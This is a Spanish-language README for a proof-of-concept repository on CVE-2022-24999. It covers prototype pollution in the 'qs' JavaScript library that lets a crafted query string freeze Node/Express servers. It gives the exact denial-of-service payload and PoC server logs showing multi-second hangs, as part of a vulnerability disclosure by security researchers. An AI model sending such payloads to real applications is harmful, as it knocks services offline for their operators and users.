
"qs" vulnerabilidad de contaminación de prototipos (CVE-2022-24999)
Este repositorio contiene muestras de exploits de la vulnerabilidad que encontramos en la librería JS "qs" en diciembre de 2021.
Las versiones vulnerables de "qs" permiten crear propiedades "proto" en los objetos JS de salida.
Al establecer un Array en la propiedad “__ proto__”, hemos podido crear objetos “similares a arrays”.
Como los objetos resultantes heredan el prototipo “Array”, exponen las funciones nativas de Array.
Pero como siguen siendo objetos, “qs” permite establecer la propiedad “length” en ellos.
Como ejemplo, el siguiente payload creará este tipo de array “malvado”:
categories[_proto__]&categories[_proto__]&categories[length]=100000000
Por lo tanto, establecer un valor "length" excesivo en ellos congelará el proceso de node en cuanto intente convertirlos a valores de cadena o al llamar a la mayoría de las funciones nativas de Array.
Esto expone cualquier aplicación de Node que utilice una versión vulnerable de "qs", con la configuración predeterminada de Express y sin un sistema de validación robusto, a ataques DOS aplicativos.
Aquí hay un ejemplo de logs del PoC en ./express-qs-string-bomb :
Send payload : someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123"
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s
Nuestro análisis también nos permitió ver que eran posibles otros modos de explotación.
Describimos algunos de ellos en el directorio ./qs-vulns.
BRAUN Nathanael & BRISSAUD Johan
Para EY Security, Francia